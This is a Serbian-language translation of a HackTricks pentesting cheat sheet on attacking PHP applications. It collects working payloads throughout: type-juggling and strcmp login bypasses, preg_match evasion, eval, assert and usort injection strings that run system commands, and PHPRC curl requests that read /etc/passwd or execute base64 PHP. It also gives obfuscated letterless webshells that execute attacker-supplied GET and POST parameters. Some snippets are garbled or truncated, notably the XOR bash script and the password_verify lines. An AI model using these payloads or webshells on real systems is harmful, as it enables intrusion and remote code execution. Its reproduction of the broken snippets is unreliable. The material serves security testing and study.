hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2024-04-07 04:23:52 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 04:23:52 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated to Serbian 2024-02-10 13:11:20 +00:00
php-ssrf.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:52:14 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 04:23:52 +00:00

PHP Trikovi

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Uobičajena lokacija kolačića:

Ovo takođe važi za phpMyAdmin kolačiće.

Kolačići:

PHPSESSID
phpMyAdmin

Lokacije:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Bypassovanje PHP poredjenja

Labava poredjenja/Tip Juggling ( == )

Ako se koristi == u PHP-u, mogu se pojaviti neočekivani slučajevi gde poredjenje ne radi kako se očekuje. To je zato što "==" poredi samo vrednosti transformisane u isti tip, ako želite da poredite i da li je tip uporednih podataka isti, treba koristiti ===.

Tabele za poredjenje u PHP-u: https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True String koji ne počinje brojem je jednak broju
  • "0xAAAA" == "43690" -> True Stringovi sastavljeni od brojeva u dec ili heks formatu mogu biti poredjeni sa drugim brojevima/stringovima sa rezultatom True ako su brojevi isti (brojevi u stringu se interpretiraju kao brojevi)
  • "0e3264578" == 0 --> True String koji počinje sa "0e" i sledi bilo šta će biti jednak 0
  • "0X3264578" == 0X --> True String koji počinje sa "0" i sledi bilo koje slovo (X može biti bilo koje slovo) i sledi bilo šta će biti jednak 0
  • "0e12334" == "0" --> True Ovo je veoma interesantno jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i poredi sa njim. Dakle, ako možete pružiti vrednost koja će kreirati heš koji počinje sa "0e" i bez ikakvog slova, možete zaobići poredjenje. Možete pronaći već heširane stringove sa ovim formatom ovde: https://github.com/spaze/hashes
  • "X" == 0 --> True Bilo koje slovo u stringu je jednako celobrojnoj vrednosti 0

Više informacija na https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Tip Juggling takođe utiče na funkciju in_array() po defaultu (treba postaviti na true treći argument da bi se napravilo strogo poredjenje):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Ako se ova funkcija koristi za bilo koju proveru autentifikacije (kao što je provera lozinke) i korisnik kontroliše jednu stranu poređenja, može poslati prazan niz umesto stringa kao vrednost lozinke (https://example.com/login.php/?username=admin&password[]=) i zaobići ovu proveru:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Striktno tipovanje

Čak i ako se koristi ===, mogu se pojaviti greške koje čine poređenje ranjivim na tipovanje. Na primer, ako se poređenje vrši konvertovanjem podataka u drugi tip objekta pre poređenja:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() može se koristiti za validaciju korisničkog unosa (proverava da li je bilo koja reč/regex iz crne liste prisutna u korisničkom unosu i ako nije, kod može nastaviti svoje izvršavanje).

Bypass novog reda

Međutim, kada se delimira početak regexp-a, preg_match() proverava samo prvu liniju korisničkog unosa, pa ako na neki način možete poslati unos u više linija, možete zaobići ovu proveru. Primer:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Da biste zaobišli ovu proveru, možete poslati vrednost sa novim redovima url-kodiranu (%0A) ili, ako možete poslati JSON podatke, pošaljite ih u nekoliko linija:

{
"cmd": "cat /etc/passwd"
}

Pronađite primer ovde: https://ramadistra.dev/fbctf-2019-rceservice

Bajpasovanje greške dužine

(Ovaj bajpas je navodno pokušan na PHP 5.2.5 i nisam uspeo da ga pokrenem na PHP 7.3.15)
Ako možete poslati preg_match() validan veoma veliki unos, on neće moći da ga obradi i moći ćete da bajpasujete proveru. Na primer, ako je na crnoj listi JSON, možete poslati:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

Bajpasovanje ReDoS-a

Trik sa: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223

Ukratko, problem se javlja jer funkcije preg_* u PHP-u se oslanjaju na PCRE biblioteku. U PCRE-u određeni regularni izrazi se podudaraju korišćenjem velikog broja rekurzivnih poziva, što troši puno prostora na steku. Moguće je postaviti ograničenje na broj dozvoljenih rekurzija, ali u PHP-u to ograničenje podrazumevano iznosi 100.000 što je više nego što stane na stek.

U ovom Stackoverflow thread-u takođe je povezan u postu gde se detaljnije govori o ovom problemu. Naš zadatak je sada bio jasan:
Poslati unos koji će naterati regex da uradi 100_000+ rekurzija, izazivajući SIGSEGV, čineći da funkcija preg_match() vrati false, čime aplikacija misli da naš unos nije zlonameran, bacajući iznenađenje na kraju payload-a nešto poput {system(<veomazla naredba>)} da bismo dobili SSTI --> RCE --> zastavica :).

Pa, u regex terminima, zapravo ne radimo 100k "rekurzija", već brojimo "korake povratka", što kao što PHP dokumentacija navodi podrazumevano iznosi 1_000_000 (1M) u promenljivoj pcre.backtrack_limit.
Da bismo to postigli, 'X'*500_001 će rezultirati sa 1 milion koraka povratka (500k unapred i 500k unazad):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Tipovanje tipova za zamagljivanje PHP koda

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Izvrši Nakon Preusmeravanja (EAR)

Ako PHP preusmerava na drugu stranicu, ali nijedna funkcija die ili exit nije pozvana nakon postavljanja zaglavlja Location, PHP nastavlja izvršavanje i dodaje podatke u telo:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Iskorišćavanje putanje pretrage i uključivanje datoteka

Proverite:

{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}

Više trikova

  • register_globals: U PHP < 4.1.1.1 ili ako je pogrešno konfigurisan, register_globals može biti aktivan (ili se njihovo ponašanje oponaša). To implicira da u globalnim promenljivima poput $_GET, ako imaju vrednost npr. $_GET["param"]="1234", možete pristupiti tome putem $param. Stoga, slanjem HTTP parametara možete prepisati promenljive koje se koriste unutar koda.
  • PHPSESSION kolačići iste domene se čuvaju na istom mestu, stoga ako se unutar domene koriste različiti kolačići u različitim putanjama možete napraviti da putanja pristupi kolačiću putanje postavljajući vrednost kolačića druge putanje.
    Na ovaj način, ako obe putanje pristupaju promenljivoj istog imena možete napraviti da vrednost te promenljive u putanji 1 važi za putanju 2. Zatim će putanja 2 smatrati važećim promenljive putanje 1 (dajući kolačiću ime koje odgovara putanji 2).
  • Kada imate korisnička imena korisnika mašine. Proverite adresu: /~<USERNAME> da biste videli da li su php direktorijumi aktivirani.
  • LFI i RCE korišćenjem php omotača

password_hash/password_verify

Ove funkcije se obično koriste u PHP-u za generisanje heševa iz lozinki i za proveru da li je lozinka ispravna u poređenju sa hešom.
Podržani algoritmi su: PASSWORD_DEFAULT i PASSWORD_BCRYPT (počinje sa $2y$). Imajte na umu da je PASSWORD_DEFAULT često isto što i PASSWORD_BCRYPT. Trenutno, PASSWORD_BCRYPT ima ograničenje veličine unosa od 72 bajta. Stoga, kada pokušate da hešujete nešto veće od 72 bajta ovim algoritmom, koristiće se samo prvih 72B:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Zaobilaženje HTTP zaglavlja zloupotrebom PHP grešaka

Ako PHP stranica ispisuje greške i vraća neke korisnički unete podatke, korisnik može naterati PHP server da vrati neki sadržaj dovoljno dug tako da kada pokuša dodati zaglavlja u odgovor, server će baciti grešku.
U sledećem scenariju, napadač je naterao server da baci neke velike greške, i kao što možete videti na ekranu kada je PHP pokušao modifikovati informacije zaglavlja, nije mogao (tako da na primer CSP zaglavlje nije poslato korisniku):

Izvršenje koda

system("ls");
`ls`;
shell_exec("ls");

Pogledajte ovo za više korisnih PHP funkcija

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Da bi se izvršio kod u "replace" argumentu, potrebno je imati barem jedno poklapanje.
Ova opcija preg_replace funkcije je zastarela od PHP 5.5.0.

RCE putem Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE putem Assert()

Ova funkcija unutar php-a vam omogućava da izvršite kod koji je napisan u stringu kako biste vratili tačno ili netačno (i u zavisnosti od toga izmenili izvršenje). Obično će korisnička promenljiva biti umetnuta usred stringa. Na primer:
assert("strpos($_GET['page']),'..') === false") --> U ovom slučaju da biste dobili RCE, možete uraditi:

?page=a','NeVeR') === false and system('ls') and strpos('a

Potrebno je prekinuti sintaksu koda, dodati svoj payload, a zatim je ponovo popraviti. Možete koristiti logičke operacije poput "and" ili "%26%26" ili "|". Imajte na umu da "or", "||" neće raditi jer ako je prvi uslov tačan, naš payload neće biti izvršen. Isto tako, ";" neće raditi jer naš payload neće biti izvršen.

Druga opcija je dodati izvršenje komande u string: '.highlight_file('.passwd').'

Druga opcija (ako imate interni kod) je izmeniti neku promenljivu kako biste promenili izvršenje: $file = "hola"

RCE putem usort()

Ova funkcija se koristi za sortiranje niza stavki pomoću određene funkcije.
Da biste zloupotrebili ovu funkciju:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Komentarisanje koda

Takođe možete koristiti // da biste komentarisali ostatak koda.

Da biste otkrili broj zagrada koje treba zatvoriti:

  • ?order=id;}//: dobijamo poruku o grešci (Parse error: syntax error, unexpected ';'). Verovatno nedostaje jedna ili više zagrada.
  • ?order=id);}//: dobijamo upozorenje. To deluje ispravno.
  • ?order=id));}//: dobijamo poruku o grešci (Parse error: syntax error, unexpected ')' i). Verovatno imamo previše zatvorenih zagrada.

RCE putem .httaccess

Ako možete učitati .htaccess, možete konfigurisati nekoliko stvari i čak izvršiti kod (konfigurišući da se fajlovi sa ekstenzijom .htaccess mogu izvršiti).

Različite .htaccess ljuske mogu se pronaći ovde

RCE putem Env promenljivih

Ako pronađete ranjivost koja vam omogućava da izmenite env promenljive u PHP-u (i još jednu za učitavanje fajlova, mada uz više istraživanja možda se to može zaobići), možete iskoristiti ovu osobinu da biste dobili RCE.

  • LD_PRELOAD: Ova env promenljiva omogućava vam da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih fajlova (mada u ovom slučaju možda neće raditi).
  • PHPRC : Naređuje PHP-u gde da locira svoj konfiguracioni fajl, obično nazvan php.ini. Ako možete učitati svoj konfiguracioni fajl, onda koristite PHPRC da ga usmerite na PHP. Dodajte unos auto_prepend_file koji navodi drugi učitani fajl. Taj drugi fajl sadrži normalan PHP kod koji se zatim izvršava od strane PHP runtime-a pre bilo kog drugog koda.
  1. Učitajte PHP fajl koji sadrži naš shell kod
  2. Učitajte drugi fajl koji sadrži direktivu auto_prepend_file koja naređuje PHP preprocesoru da izvrši fajl koji smo učitali u koraku 1
  3. Postavite promenljivu PHPRC na fajl koji smo učitali u koraku 2.
  • Dobijte više informacija o tome kako izvršiti ovaj lanac iz originalnog izveštaja.
  • PHPRC - još jedna opcija
  • Ako ne možete učitati fajlove, možete koristiti u FreeBSD-u "fajl" /dev/fd/0 koji sadrži stdin, tj. telo zahteva poslato u stdin:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Ili da biste dobili RCE, omogućite allow_url_include i dodajte fajl sa base64 PHP kodom:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Tehnika iz ovog izveštaja.

PHP Statistička analiza

Pogledajte da li možete ubaciti kod u pozive ovim funkcijama (sa ovog linka):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Ako debagujete PHP aplikaciju, možete globalno omogućiti ispis grešaka u /etc/php5/apache2/php.ini dodavanjem display_errors = On i restartovanjem apache-a: sudo systemctl restart apache2

Deobfuskacija PHP koda

Možete koristiti web www.unphp.net za deobfuskaciju PHP koda.

PHP omotači i protokoli

PHP omotači i protokoli mogu vam omogućiti da zaobiđete zaštitu pisanja i čitanja u sistemu i kompromitujete ga. Za više informacija pogledajte ovu stranicu.

Xdebug neautentifikovani RCE

Ako primetite da je Xdebug omogućen u izlazu phpconfig(), trebalo bi da pokušate da dobijete RCE putem https://github.com/nqxcode/xdebug-exploit

Promenljive promenljivih

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE zloupotreba novog $_GET["a"]($_GET["b"])

Ako na stranici možete kreirati novi objekat proizvoljne klase, možda ćete moći da ostvarite RCE, proverite sledeću stranicu da biste saznali kako:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Izvršavanje PHP-a bez slova

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Korišćenje oktalnog oblika

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

XOR (ekskluzivno ILI) operacija se često koristi u PHP trikovima. XOR operacija se koristi za enkripciju i dekripciju podataka. Na primer, ako imate string koji želite da enkriptujete, možete koristiti XOR operaciju sa određenim ključem kako biste ga enkriptovali. Zatim, isti ključ možete koristiti za dekripciju podataka. Ovo je jednostavan trik koji se često koristi u PHP programiranju.

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR jednostavan shell kod

Prema ovom objašnjenju, moguće je generisati jednostavan shell kod na sledeći način:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Dakle, ako možete izvršiti proizvoljni PHP bez brojeva i slova možete poslati zahtev koristeći sledeći payload za izvršavanje proizvoljnog PHP-a:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Za detaljnije objašnjenje pogledajte https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (unutar eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl slično

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini da podržite HackTricks: